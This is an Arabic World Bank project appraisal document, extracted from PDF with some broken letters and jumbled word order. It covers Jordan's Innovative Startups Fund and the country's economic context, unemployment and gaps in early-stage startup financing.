العمل أخصائي أول القطاع الخاص GTCIE لوسيرو ديل كارمن بورغا برافو دي رويدا GFM05 عضو فريق العمل اقتصادي ماريانا فيليسيو أخصائي الضمانات الوقائية الضمانات الوقائية االجتماعية GSU05 مارجوري بينيسا إسبيريتو عضو فريق العمل مساعد المشروع GFM05 ميهاسونيرينا أندريانايفو مسئول استعراض األقران تمويل المؤسسات الصغيرة والمتوسطة GFM06 ناتاليا روبالينو عضو فريق العمل قانوني LEGIA روججار باريزيك مسئول استعراض األقران وحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية CTTVI سيرين شاالن عضو فريق العمل دعم النظام البيئي الشامل GTC05 سيمو سي بيل مسئول استعراض األقران وصول المؤسسات الصغيرة والمتوسطة إلى التمويل GFM2A ستيف وان يان لون عضو فريق العمل العمليات GFM05 تريسي هارت أخصائي الضمانات الوقائية البيئة GEN05 الفريق اإلضافي االسم الوظيفة المنظمة المكان البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 5 المملكة األردنية الهاشمية مشروع صندوق الشركات الناشئة اإلبتكارية جدول المحتويات أوال – السياق االستراتيجي ..........................................................................................................7 أ- السياق القطري .................................................................................................................7 ب- السياق القطاعي والمؤسسي..................................................................................................8 ج- األهداف رفيعة المستوى التي يساهم المشروع في تحقيقها ...............................................................14 د- العالقة بمشروعات البنك الدولي األخرى ..................................................................................14 ثانيا. األهداف اإلنمائية للمشروع ..................................................................................................15ً أ. األهداف اإلنمائية للمشروع .................................................................................................15 ب.الجهات المستفيدة من المشروع 16 ج.الهدف اإلنمائي للمشروع - المؤشرات على مستوى النتائج .............................................................16 ثالثا. وصف المشروع..............................................................................................................17ً أ- مكونات المشروع ............................................................................................................19 ب. تكلفة المشروع وتمويله.....................................................................................................23 ج. الدروس المستفادة المتجلية في تصميم المشروع ..........................................................................24 رابعا. التنفيذ ........................................................................................................................25ً أ- الترتيبات المؤسسية والتنفيذية ...............................................................................................25 ب- نتائج المتابعة والتقييم.......................................................................................................27 ج- االستدامة ....................................................................................................................27 خامسا. المخاطر األساسية .........................................................................................................27ً أ- التقييم اإلجمالي للمخاطر وشرح أبرزها....................................................................................27 سادسا. ملخص التقييم ..............................................................................................................29ً أ- التحليل المالي واالقتصادي ..................................................................................................29 ب- تحليل الجوانب الفنية .......................................................................................................30 ج. اإلدارة المالية................................................................................................................31 د- اإلنفاق........................................................................................................................32 هـ المشتريات....................................................................................................................33 و- تحليل الجوانب اإلجتماعية )متضمنة الضمانات الوقائية(.................................................................33 ز- تحليل الجوانب البيئية )متضمنة الضمانات الوقائية(......................................................................34 ح- سياسات أخرى للضمانات الوقائية .........................................................................................35 ط- آلية البنك الدولي للتعامل مع الشكاوى والتظلمات.........................................................................35 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 6 سابعا. إطار النتائج ومتابعتها ......................................................................................................36ً ملحق رقم 1 :وصف تفصيلي للمشروع ..........................................................................................43 ملحق رقم 2 :ترتيبات التنفيذ ......................................................................................................55 ملحق رقم 3 :خطة دعم التنفيذ ....................................................................................................72 ملحق رقم 4 :النظام البيئي الشامل لريادة األعمال وتمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن.74 ملحق رقم 5 :البرنامج الحكومي الذي أوصى به مجلس السياسات االقتصادية والذي اعتمده مجلس الوزاراء في سبتمبر/ 82........................................................................................................................2016 أيلول ملحق رقم 6 :الدعم الحالي المقدم لتمويل المؤسسات الصغيرة والمتوسطة في األردن ........................................85 ملحق رقم 7 .المصطلحات الفنية..................................................................................................87 ملحق رقم 8 .التنبؤات المالية الخاصة بالمشروع ................................................................................89 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 7 أوال – السياق االستراتيجي أ- السياق القطري 1 -شهد معدل النمو االقتصادي في األردن حالة من االنخفاض نتيجة آلثار التباطؤ االقتصادي العالمي واألزمة اإلقليمية الحالية. ومن المتوقع أن يظل معدل النمو االقتصادي في األردن ثابتا 3.2 %في 2016 ً عند 1 ، ولكن بالوصول إلى نسبة 2 ،%شهد النمو االقتصادي أقل معدالته في أربع سنوات، أي إنخفاض عن 2014 بنسبة 9.0 نقطة مئوية. وقد أثرت تداعيات األزمة السورية تأثيرا األردني بسبب إغالق طرق التجارة مع العراق وسوريا ألسباب أمنية وتراجع أعداد السياح ً سلبياً على االقتصاد وتراجع نشاط قطاع التعدين والمحاجر بسبب االنخفاض في أسعار البوتاس على مستوى العالم. أما القطاعات التي ساهمت )الذي تم نشره مؤخرا فهي قطاعات "النقل والتخزين واالتصاالت" ً بأكبر قدر من النمو في الربع الثالث من عام 2016) 2 و"خدمات التمويل والتأمين". وقد أدى تدفق أكثر من 496,655 الجئاً سورياً مسجال منذ عام 2012 إلى زيادة الطلب على الطاقة والمياه، والخدمات العامة وزيادة الضغط على اإلنفاق الحكومي. 2 -يعد ارتفاع معدل البطالة من التحديات الرئيسية، لذا يعتبر خلق فرص العمل في القطاع الخاص من أولويات برنامج تعزيز أوضاع المالية العامة الجاري تنفيذه، األمر الذي يؤدي إلى تغيير الدور التاريخي للحكومة كمصدر رئيسي أو وحيد لتوفير 3 الوظائف . إضافة إلى ذلك، ينخفض مستوى مرونة العمالة في األردن 4 . وال تزال البالد تعاني من تزايد معدالت البطالة - فقد 6 . وازدادت معدالت البطالة بين الشباب )35 %5 ارتفعت التقديرات من 9.11 %في عام 2014 إلى 3.15 %في 2016 ) وبين النساء حيث بلغ معدل البطالة بينهن خالل التسعة أشهر األولى من عام 2016( 9.23 )%في حين بلغ معدل البطالة بين 7 الرجال 2.13%ل في الفترة نفسها . وقد انخفض معدل العمالة بشكل ملحوظ منذ عام 2009 ،حيث بلغ متوسطه 7.30 ٪في 8 التسعة أشهر األولى من عام 2016 . للمستوى التعليمي الجيد الذي يتمتع به العمال 3 -معظم شركات القطاع الخاص األردني تندرج تحت الطابع غير الرسمي. نظراً األدرنيين، فإنهم يفضلون البقاء دون عمل حتى يتمكنون من الحصول على وظيفة في القطاع العام، بل ويمكن أن يظلون دون 9 عمل لعقود، معتمدين على التحويالت المالية من األقارب العاملين في دول مجلس التعاون الخليجي . ومع هبوط أسعار البترول والجهود التي تبذلها حكومات دول مجلس التعاون الخليجي لدعم توظيف مواطنيها، فإن هذا السيناريو ال يمكن أن يستمر، وال بد أن يقوم األردن بتغيير العقد االجتماعي وتيسير فرص اقتصادية بديلة لألردنيين من خالل تطوير القطاع الخاص ليصبح أكثر فعالية وتنافسية. 4 -وفقاً لتقرير البنك الدولي "الوظائف واالمتيازات" لعام 2014 ،في األردن )تقرير رقم 92870 ،)تتوافر الوظائف في األردن في المقام األول من قطاعات البيع بالتجزئة والخدمات التي تهيمن عليها الشركات متناهية الصغر والتي غالباً ما بالدول األخرى تمثل االقتصاد غير الرسمي، ولكنها أقل إنتاجية في األردن مقارنة . كما ساهمت بعض األنشطة ذات اإلنتاج ً المرتفع مثل قطاع المواد الكيميائية والمستحضرات الدوائية وقطاع األغذية والتمويل في خلق فرص العمل؛ حيث توفر هذه القطاعات 28 ٪من إجمالي صافي فرص العمل بين عامي 2006 و2011 .ويتبين من التقرير كذلك أن الشركات الناشئة )الشركات التي يقل عمر نشاطها التجاري عن 4 سنوات( هي مصدر توفير صافي فرص العمل في األردن، مثل معظم البلدان األخرى. 5 -ومع ذلك، ينخفض معدل إنشاء الشركات الناشئة بسبب العوائق التي تعترض بيئة األعمال وفرص الحصول على التمويل. الشركات ذات المسئولية المحدودة سنوياً فلكل 10 آالف شخص في سن العمل، يتم إنشاء 7 شركات جديدة فقط من في األردن بنحو مقارنة 26 شركة جديدة في الدول النامية األخرى في جميع أنحاء العالم. وتتراوح كثافة الدخول في العديد من البلدان ً . حتى بين 10 النامية سريعة النمو مثل صربيا والبرازيل وكرواتيا وشيلي وبلغاريا بين ثالثة وعشرة أضعاف كثافته في األردن حديثا، يتجه الكثيرون إلى اإلنتقال إلى دبي، التي اتخذت لنفسها وضع شركة رائدة إقليمياً بين شبكات ً الشركات التي تم تأسيسها 1 موجز االجتماع المنعقد في ربيع 2017 ،البنك الدولي. 2 مفوضية األمم المتحدة لشؤون الالجئين – 19 يناير/ كانون الثاني 2017 3 التوقعات االقتصادية لصندوق النقد الدولي لتقديرات االستراتيجية الوتطنية للتوظيف 4 وفقا 2010-2011 ،يبلغ معدل نمو مرونة العمالة في األردن 42.0 بين عامي 2000 و2008ً . 5 البنك الدولي، المراقب االقتصادي في األردن، خريف 2016 6 متوسط التسعة أشهر األولى من عام 2016 .دائرة اإلحصاءات العامة األردنية 7 دائرة اإلحصاءات العامة األردنية 8 البنك الدولي، المراقب االقتصادي في األردن، خريف 2016 9 نمو الوظائف دون خفض معدل البطالة: تجربة األردن، سوزان رزاز وفاروخ إقبال، البنك الدولي، 10 أبريل/ نيسان 2008 10 التقرير اإلقليمي لعام 2014 الصادر من البنك الدولي. وظائف أم امتيازات: إطالق اإلمكانات لخلق فرص العمل في الشرق األوسط وشمال أفريقيا، عدد موجز عن األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 8 تمويل الشركات الناشئة. 6 -في أكتوبر/ تشرين األول 2016 ،أصدر مجلس السياسات االقتصادية األردني مجموعة توصيات مكونة من 38 توصية 11 لمساعدة الحكومة في تخطي العقبات االقتصادية وتعزيز االقتصاد القومي. وفد أقر المجلس جميع هذه التوصيات في 7 تنفيذ هذه التدابير في أسرع وقت ممكن 12 سبتمبر/ أيلول 2016 مستهدفاً )انظر الملحق رقم 5 الذي يشمل جميع التوصيات(. وكانت أولى التوصيات التي اقترحها المجلس تأسيس صندوق لتيسير تمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية سعياً وراء زيادة مستوى الشركات الناشئة التي تمتلك إمكانات نمو عالية. في هذا اإلطار، طلبت حكومة األردن من البنك الدولي قرض بقيمة 50 مليون دوالر لتأسيس الصندوق المذكور لتوفير التمويل للشركات الناشئة، كما طلبت من البنك تزويدها بالدعم المطلوب للمساعدة في تعزيز األفكار اإلبداعية وتنمية المؤسسات التجارية القادرة على البقاء. ب- السياق القطاعي والمؤسسي 7 -يواجه النظام البيئي الشامل لريادة األعمال في األردن العديد من الفجوات والتحديات والتي تحول دون إنشاء الشركات الناشئة ونموها، ويتصدر التمويل قائمة هذه التحديات. من جانب رواد األعمال )أي جانب الطلب(، يفتقر العديد من األفراد إلى التعليم والتدريب المالئم المطلوب لنجاح تنمية األعمال، ويدير رواد األعمال أنشطتهم في بيئة أعمال مرهقة وغير واضحة إلى عدم كفاية المنتجات المالية التي يمكن أن تدعم رائد األعمال طوال فترة حياة المشروع. ومن من الناحية التنظيمية، إضافةً جانب السياسة، هناك قيود على إنشاء الصناديق االستثمارية وتحديات ذات صلة بالضرائب واإلفالس والحد األدنى من رأس المال، ويتم تناولها من خالل مختلف البرامج التي ينفذها البنك الدولي ومنظمات التنمية الدولية األخرى. ومن جانب المستثمر )جانب الطلب(، يرغب المستثمر في رؤية أفكار ابتكارية ورواد أعمال وعمال مهرة حتى ال تتعرض أعماله للفشل، كما يرغب في هيكل قانوني وتنظيمي وضريبي مالئم لمختلف أدوات التمويل ولحماية ما لهم من حقوق وأصول، والقدرة على استرداد أموال في حالة التصفية )حماية المستثمر وقانون اإلفالس وحماية حقوق الملكية الفكرية(. نعرض أدناه وصف للموضوعات ذات الصلة بجانبي العرض والطلب على تمويل المرحلة المبكرة من األعمال. النظام البيئي الشامل لريادة األعمال واإلبتكار 8 -ويتألف النظام البيئي الشامل لريادة األعمال من جميع األشخاص أو المؤسسات أو المنظمات المشاركة في تقديم خدمة أو منتج والطلب على التمويل. وعند اإلشارة إلى االبتكار والمؤسسات الصغيرة والمتوسطة، يمكن للجهات الفاعلة الرئيسية أن تصبح من رواد األعمال أو الشركات الناشئة أو شبكات المستثمرين أو شبكات المرشدين أو المستخدمين النهائيين أو الحكومات أو غيرها. 9 -صنف مؤشر ريادة األعمال العالمي، وهو الطريقة االكثر شمولية للمعايرة السنوية لنظم بيئة األعمال الوطنية على مستوى العالم، األردن في المرتبة 64 من أصل 132 دولة والمرتبة العاشرة بين دول منطقة الشرق األوسط وشمال أفريقيا. يتضح من بيانات مؤشر ريادة األعمال العالمي أن األردن قد سجل معدالت ترتفع عن المتوسط العالمي في تصور الفرص ومهارات الشركات الناشئة والشبكات وإبتكار المنتجات ومؤشرات النمو المرتفع، لكنها سجلت معدالت أقل من المعدالت العالمية من حيث قبول المخاطر ورأس مال المخاطر. وعلى هذا، تقر العديد من كيانات دعم المشروعات أنه دون توافر التمويل، يصبح من الصعب توفير الشركات الناشئة بالجودة والكمية التي يحتاج إليها االقتصاد. أمر الملك بتشكيل مجلس السياسات االقتصادية في يونيو/ حزيران 2016 ،وأسند إليه مهمة مناقشة السياسات والبرامج االقتصادية وخطط التنمية. 11 ً، ويتولى كذلك مسئولية تحديد المعوقات الرئيسية التى تعوق النمو ويمارس المجلس مهامه تحت اإلشراف المباشر للملك، ويتألف من 15 عضوا االقتصادى واقتراح الحلول للتغلب عليها. ورئيس الوزراء هو الممثل الحكومي الوحيد المشارك في مجلس اإلدارة. ومن بين أعضاء المجلس اآلخرين محافظ البنك المركزي األردني ومدير إدارة التنمية االقتصادية واالجتماعية بالمحكمة الملكية الهاشمية، بوصفه مقرر المجلس، وممثلين عن القطاع الخاص وخبراء اقتصاديين. تركز هذه التوصيات على ثمانية مجاالت: )أ( تمويل المؤسسات الصغيرة والمتوسطة، و)ب( تمويل الشركات الناشئة، و)ج( تمويل الصادرات 12 والنمو، و)د( األسواق رأس المال، )هـ( تنمية األدوات المالية، )و( التمويل متناهي الصغر والتأمين، )ز( التكلفة المنخفضة المتثال المؤسسات الصغيرة والمتوسطة، )ح( اإلطار التشريعي واالقتصادي الشامل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 9 جدول رقم 1 :لقطة من دعم ريادة األعمال في األردن عبر مختلف مراحل تأسيس الشركات وتنميتها نوع الدعم مرحلة األعمال مرحلة ما قبل التأسيس/ مرحلة األفكار مرحلة النمو المبكر/ رأس مرحلة التأسيس المرحلة المبكرة مرحلة تخطيط األعمال المال المخاطر منافسات األعمال التجارية والجوائز ذات الصلة المبادرات 2-1 اإلقليمية حاضنات األعمال 10 حاضنات أعمال في األردن )منها مؤسسة زين ومختبر األلعاب األرني، وحاضنة أعمال آي بارك، وأورانج( معجالت األعمال )انظر الملحق رقم 7 للتعريفات( )500 أويسيز )1 الجاهزية لالستثمار وتوجيهه منظمة إنديفر األردن التدريب، وإمكانية الوصول إلى األسواق وشبكات خدمات األعمال مركز الملكة رانيا لريادة األعمال إنجاز* مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية جمعية تكنولوجيا المعلومات واالتصاالت في األردن مركز تنمية األعمال المؤسسة االردنية لتطوير المشاريع االقتصادية جمعية تكنولوجيا المعلومات واالتصاالت في األردن مركز تنمية األعمال منظمة إنديفر األردن رابطة رواد األعمال الشباب خدمات شبكات التمويل * إنجاز هو برنامج تعليمي )انظر المربع رقم 4-2 في الملحق رقم 4 لمزيد من التفاصيل عن كيانات دعم النظام البيئي الشامل في األردن( 10 -يتسم النظام البيئي الشامل في األردن بأنه متطور نسبياً حيث أنه ال يفتقر إلى األفكار اإلبتكارية واإلبداعية، إال أن القدرة على إقامة نوع الشركات الناشئة التي يمكن أن يعتبرها المستثمرون قابلة لالستمرار والنمو ال تزال محدودة. يوجد باألردن 10 حاضنات أعمال وحديقتين تكنولوجيتين وشبكة لرعاة األعمال التجارية والعديد من كيانات دعم األعمال والصادرات العاملة مع رواد األعمال الجدد والمؤسسات الصغيرة والمتوسطة من أجل تطوير خطط أعمالهم والوصول إلى األسواق وإدارة مواردهم البشرية وغيرها من المهام المتعلقة باألعمال. يفيد المستثمرون في رأس المال أن هناك إمكانات قوية إلقامة شركات ل جداً ناشئة ناجحة في األردن، ولكن هناك عدد قلي من البرامج الفعالة المعنية بالجاهزية لالستثمار وبرامج التوجيه التي تركز على إعداد رائد األعمال التباع العناية الواجبة والهيكلة التي تقتضيها صناعة االستثمار في رأس المال، والمهارات الشخصية غير الفنية المطلوبة لتعزيز األعمال وإدارتها. ومن ثم، يأتي رواد األعمال إلى المستثمرين غير جاهزين تماماً، ليس لديهم فكرة حقيقية عن أساليب تقديم المقترح وبناء الفريق وإدارة الوقت والتفاوض والتقييم والحوكمة واإلفصاح المالي. عالوًة على ذلك، غالبا برعاية األعمال أو تمويل مراحلها ً ما يجد رواد األعمال الذين حالفهم الحظ وتمكنوا من جذب المستثمرين المهتمين األولى، أنهم بحاجة إلى المشورة الدائمة حيث لم يقم سوى القليل منهم بإدارة عمل شهد النمو والنجاح. كما أنهم يفتقرون إلى المعرفة العملية المطلوبة للحفاظ على استمرارية األعمال وتسريع النمو وجذب االستثمارات من أجل تنمية أعمالهم )انظر الملحق رقم 4 لمزيد من التفاصيل عن النظام البيئي الشامل في األردن(. بيئة األعمال التجارية 11 -تعيق التحديات التي تواجه بيئة األعمال من االستثمار وقدرة القطاع الخاص على النمو والتأثير على جانبي الطلب والعرض. ل وفقا تقرير ممارسة األعمال التجارية لعام 2017 ،تم تصنيف بيئة األعمال الشاملة في األردن في المرتبة 118 من 189ً ، وكانت أسوأ المؤشرات هي: الحصول على االئتمان )185/189 ،)وحماية صغار المستثمرين )165/189 )وتسوية اإلعسار )142/189( )الجدول رقم 2 .)عالوًة على ذلك، تراجع تصنيف "بدء األعمال" من المرتبة 98 في عام 2016 إلى 106 في عام 2017 ،وحدث األمر ذاته في تصنيف "التعامل مع تراخيص البناء" التي انخفضت من 96 إلى 109 في نفس الفترة. وقد عملت مجموعة البنك الدولي مع وزارة الصناعة والتجارة إلصالح قانون اإلفالس وقانون المعامالت المضمونة، ولكن لم ا في تسهيل وصول رواد ً يصدق البرلمان بعد على أي من القانونين. وبمجرد اعتماد هذين القانونيين، سيكون لهما تأثير األعمال إلی االئتمان واالستثمارات في رأس المال )انظر الملحق رقم 4 الجزء الثاني للحصول علی تفاصيل حول اإلخفاقات المؤسسية(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 10 12 -على الرغم من أن القوانين المحلية الصادرة في شأن الشركات المساهمة الخاصة تفرض قيوداً على المساهمين في شركات بدول أخرى في الشرق األوسط وشمال أفريقيا ً دولية، تظل األردن وجهة جذابة للصناديق األجنبية مقارنة . في الوقت الحالي، جميع الصناديق االستثمارية تقريباً مسجلة كشراكات محدودة المسئولية تعمل تحت إشراف اختصاص أجنبي ومقر هيكل عملياتها كائن في األردن )شريك متضامن(. تحدد دراسة حديثة أجريت حول البيئة القانونية والتنظيمية لصناديق االستثمار في رأس المال الخاص ورأس المال المخاطر التي يديرها البنك الدولي، بعض القضايا التي ينبغي تناولها لتحسين مناخ االستثمار في الصناديق المحلية لرأس المال الخاص ورأس المال المخاطر )انظر الملحق رقم 4 لمزيد من التفاصيل(. أعرب المراقب المالي للشركات التابع لوزارة الصناعة عن اهتمامه بوضع قانون جديد ينظم إنشاء صناديق رأس المال الخاص ورأس المال في األردن ودعمها فنيا إلعادة النظر في النظام ً المخاطر من جانب البنك الدولي، الذي بإمكانه العمل مع صندوق النقد الدولي الضريبي وإصالحه ليشمل الصناديق المذكورة، وهو من األسباب الرئيسية التي تؤدي إلى االمتناع عن تسجيل الصناديق في األردن. جدول رقم2 :تقرير ممارسة األعمال، 2016 – 2017 الموضوعات تقرير 2017 تقرير 2016 بدء األعمال التجارية 106 98 التعامل مع تراخيص البناء 109 96 الحصول على الكهرباء 48 60 تسجيل الممتلكات 96 96 الحصول على االئتمان 185 185 حماية صغار المستثمرين 165 166 دفع الضرائب 79 82 التجارة العابرة للحدود 50 50 تنفيذ العقود 124 124 تسوية اإلعسار 142 142 تقديم تمويل المرحلة المبكرة للشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن للمسح الذي أجراه 13 -يسجل األردن أدنى مستوى من مؤشرات التمويل في العالم، وال سيما بالنسبة للمؤسسات الصغيرة. وفقاً البنك الدولي عام 2013 عن المشروعات والمؤسسات التجارية، تصنف الشركات متناهية الصغر والصغيرة )التي يعمل بها من 0 إلى 19 موظف( إمكانية الحصول على التمويل باعتباره أكبر عقبة تعترض النمو واإلنتاجية. ويتبين من التقييم السوقي الذي أجراه البنك األوروبي لإلنشاء والتعمير في فبراير/ شباط 2016 أن 83 %من الشركات الناشئة األردنية تعتمد على أموالها الخاصة كمصدر رئيسي للتمويل، في حين تعتمد نسبة 17 %على مصادر أخرى مثل الحصول قرض من بنك أو مؤسسة للتمويل متناهي الصغر أو األصدقاء أو العائلة أو قروض من الموردين. 14 -ال تمول البنوك التجارية والمستثمرين في رأس المال الخاص الشركات في المرحلة المبكرة من أعمالها دون تقديم ضمانات جوهرية بسبب نقص المعلومات المتاحة )عدم وجود سجل إنجازات، وعدم وجود قوائم مالية(، األمر الذي يجعل من الصعب تقييم المخاطر بشكل مناسب. كما يبتعد المستثمرون التقليديون عن المعامالت مرتفعة التكاليف الالزمة للمساعدة في زيادة االستثمارات في المراحل المبكرة. وباإلضافة إلى ذلك، فإن عدم وجود آلية واضحة لإلنسحاب من االستثمارات يدفع معظم المستثمرين إلى العزوف عن دخول السوق. خرجت شركتان ناشئتان أردنيتان من األسواق العالمية بتكلفة مرتفعة )أرامكس للتخارج هي طريقة البيع لمستثمر أخر. ومن ثم، ومكتوب وسوق دوت كوم(، ولكن الطريقة األكثر إنتشارا تركز صناديق ً االستثمار التقليدية استثماراتها على الشركات المتقدمة في مراحلها الالحقة، وتطالب معظم البنوك بضمانات بمبالغ باهظة )تصل نسبتها إلى 100 %أو أكثر من قيمة القرض(، وهي مبالغ ال تتوافر لدى معظم الشركات الناشئة. وبالتالي، تفضل الشركات الناشئة والشركات الشابة الحصول على االستثمار في رأس المال من "شبكات رعاة األعمال" وصناديق رأس المال ، ليس فقط للتمويل ولكن من أجل الحصول على الفرص السوقية التي يمكن أن يوفرها هؤالء المستثمرون. ومع 13 المخاطر للغاية في األردن. ذلك، تمويل مراحل التأسيس والمراحل المبکرة ومرحلة رأس المال المخاطر محدوداً انظر الملحق رقم 7 لتعريفات المصطلحات األساسية المستخدمة في وثيقة تقييم المشروع. المستثمر راعي األعمال هو شخص يستثمر أمواله في 13 إحدى شركات ريادة األعمال. وتشير التعريفات إلى أن المستثمر راعي األعمال هو الذي يساهم بشخصه في نجاح المشروع عن طريق ما يتمتع به من مهارات وخبرات وشبكات. في بعض األحيان، تتفق مجموعة من األفراد على تكوين "شبكة من رعاة األعمال" الستثمار أموالهم في إحدى خاطر كبيرة )عادًة الشركات. كما تقوم صناديق رأس المال المخاطر باالستثمار في الشركات المحفوفة بم ما تكون هذه االستثمارات بمبالغ مالية كبيرة إذا أثبتت الشركة تصورها/ سوقها(، ولكن على العكس من المستثمر راعي األعمال، شبكة رعاة األعمال هي مؤسسات مالية متخصصة تستثمر أموال أشخاص آخرين. كما تقدم صناديق رأس المال المخاطر كذلك فرص الدعم والتواصل لمستثمريهم لضمان قدرتهم على البقاء. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 11 شكل رقم 1 -معدل االستثمار في مراحل تأسيس الشركات/ رأس المال المخاطر من الناتج المحلي اإلجمالي )%( المغرب مصر األردن يولندا لبنان اسبانيا استراليا استونيا البرتغال هنغاريا المملكة المتحدة المصدر: بالنسبة للبلدان األوروبية - منظمة التعاون والتنمية في الميدان االقتصادي )بيانات 2014 أو البيانات األحدث المتاحة(؛ بالنسبة لمنطقة الشرق األوسط وشمال أفريقيا، تقييم البنك الدولي لتمويل االستثمار في المرحلة المبكرة( )إجمالي استثمارات القطاع تقريبا لكل بلد اعتبارا من عام (.2014 15 -وتبين بيانات عام 2014 تخصيص ستة )6 )من صناديق رأس المال الخاص في األردن الستثمارات بقيمة 3 مليارات دوالر من االستثمارات المخطط لها. وفي حين أن سوق رأس المال الخاص المتنامي مبشراً للشركات التي تمر بمرحلة متقدمة، وتتطلع إلى إعادة الهيكلة، يظل سوق االستثمار في مراحل التأسيس ورأس المال المخاطر في األردن ناشئاً من حيث رأس المال المتاح والموظف وعدد المعامالت. أجريت مقارنة بين بيانات االستثمار في مرحلة التأسيس ومرحلة رأس المال المخاطر كنسبة مئوية من الناتج المحلي اإلجمالي في مختلف البلدان في منطقة الشرق األوسط وشمال إفريقيا وأوروبا )شكل رقم 1 ،)وتبين منها انخفاض مستوى نشاط األردن في هذا المجال - على الرغم من أنه أفضل نسبياً من مستوى نشاط مصر والمغرب. 16 -بدأ نشاط تمويل االستثمارات في األردن عام 2010 ،وشهدت البالد دفعة قوية في هذا المجال بعد إنشاء واحدة من أولى معجالت األعمال في المنطقة )Oasis 500 )وإنشاء أولى شبكات المستثمرين الممولين، وقد ساعد ذلك على وضع األردن في مكانة بارزة على الخارطة اإلقليمية لالستثمار في رأس المال على الرغم من صغر حجمها )شكل رقم 2.) 14 شكل رقم 2 -االستثمار في رأس مال الشركات الناشئة في منطقة الشرق األوسط وشمال أفريقيا اعتباراً من 2015 17 -على الرغم من البداية الجيدة، لم يحظى الزخم بالدعم على المدى المتوسط وهو ما يؤدي إلى نقص تمويل مرحلة التأسيس للتقييم الفعلي الذي أجراه فريق المشروع، حتى في حالة الشركات الناشئة التي تمكنت من ومرحلة رأس المال المخاطر. وفقاً تقرير وضع التمويل في منطقة الشرق األوسط وشمال أفريقيا. 2016 14 التمويل في منطقة الشرق األوسط وشمال أفريقيا اعتباراً من 2015 = 71.1 مليار دوالر التمويل في األردن اعتباراً من 2015 = 25 مليون دوالر إشارة مرجعية: اإلمارات = 232 مليون دوالر - لبنان 67 مليون دوالر - مصر 28 مليون دوالر - السعودية 14 مليون دوالر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 12 الوصول إلى مرحلة النمو، لم تتمكن سوى بضعة شركات من زيادة مبلغ المليون إلى الثالثة ماليين دوالر المطلوبة للتوسع، وألقى التقييم الضوء على محدودية تمويل مرحلة رأس المال المخاطر في البالد. وفي الوقت الحالي، تظل مؤسسة Oasis500 معجلة األعمال الوحيدة التي تركز على قطاع تكنولوجيا المعلومات واالتصاالت وتوفر التمويل لمرحلة التأسيس. تقدم شركات أخرى تمويل رأس المال المخاطر بمبالغ تتراوح ما بين المليون إلى الثالثة ماليين دوالر وتصب تركيزها على المستوى يركز على القطاع التكنولوجي( وصندوق داش 15 اإلقليمي ومنها، صندوق سيليكون البادية )صندوق استثمار برأس مال مفتوح يركز على القطاع التكنولوجي(. صندوق حكمة هو مثال أخر لصناديق االستثمار 16( صندوق استثمار خاص برأس مال محدد الخاصة ذات رأس المال المحدد الكائنة في األردن. ولصندوق حكمة حصة استثمارية أكبر تقدر بنحو 250 ألف إلى 3 مليون دوالر، ويركز تمويله على الشركات الدوائية، ولكنه ال يركز على األردن باعتبارها سوق رئيسي. يتركز سوق رأس المال المخاطر اإلقليمي في اإلمارات العربية المتحدة ولبنان ومصر، وتستجلب بعض الشركات في هذه الدول صفقات من األردن تتراوح قيمة استثماراتها ما بين المليون دوالر إلى 33 مليون دوالر. ومن بين صناديق رأس المال المخاطر صندوق بيكو و صندوق شركاء المبادرات في الشرق األوسط وصندوق إيريس كابيتال وصندوق ومضة ومجموعة جبار ومجموعة "آي مينا". ال يلبي عرض تمويل رأس المال في المراحل المبكرة من األعمال في األردن حجم الطلب عبر جميع الصناعات، وهو ما يؤدي إلى سقوط العديد من الشركات الناشئة والمؤسسات الصغيرة والمتوسطة فيما يسمى "بوادي الموت"، أي عند استنفاذ مواردهم المتأتية من األصدقاء واألسرة، والنقطة التي يصبحون عندها قادرين بما يكفي للبحث عن التمويل من السوق )عادًة بمبالغ تبدأ من 5.1 مليون دوالر وأكثر(. شكل رقم 3 -دورة حياة إحدى الشركات ومراحل تمويلها المصدر: منظمة التعاون والتنمية في الميدان االقتصادي صندوق االستثمار برأس مال مفتوح هو صندوق هيكلي ليس له عمر محدد المدة، ويتطلب مساهمة رأسمالية عند الموافقة على اإلنضمام إليه 15 واستخدام هذه المساهمة في ضخ استثمارات بشكل مستمر. صندوق االستثمار برأس مال محدد هو صندوق له عمر محدد المدة يتراوح مثال ما بين 7 إلى 10 سنوات، ويجوز مد هذه الفترة حسب التقدير 16 الخالص لمدير الصندوق وبموافقة المساهمين. ويتطلب هذا الصندوق التزام رأسمالي يتم سحبه مع مرور الوقت، وبالنظر إلى عمره المحدد، يكون أمامه فترة محدودة لضخ استثمارات قبل إغالقه. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 13 جدول رقم 3 .مصادر وأنواع التمويل في األردن حسب دورة حياة الشركة الفكرة اإلنشاء المرحلة األولى/ المبكرة النمو المبكر الثاني/ المقياس النمو الثالث/ رأس المال المخاطر ما قبل مرحلة الطرح العام المبدئي الضمانات االئتمانية واالئتمان التجاري الشركة االردنية لضمان القروض الشركة االردنية لضمان القروض منظمة التعاون والتنمية في الميدان االقتصادي البنوك التجارية البنوك االستثمارية تمويل رأس المال تتطلع المؤسسات التالية إلى زيادة رأس المال الجديد في هذا المجال لصالح األردن: أويسس 500 داش الصناديق التالية هي صناديق إقليمية لديها القدرة على االستثمار في األردن: الصندوق الهاشمي لتنمية البادية األردنية صندوق شركاء المبادرات في الشرق األوسط صندوق حكمة صندوق ومضة صندوق بيكو إيريس كابيتال أرزان الصندوق الهاشمي لتنمية البادية األردنية صندوق ومضة مؤ ّسسة شركاء المبادرات في الشرق األوسط مشروعات الحكمة الصناديق اإلقليمية لرأس المال الخاص 18-تتجه بعض الجهود المبذولة حالياً من بضعة كيانات ال تجد رأس مال كافي في السوق إلى زيادة 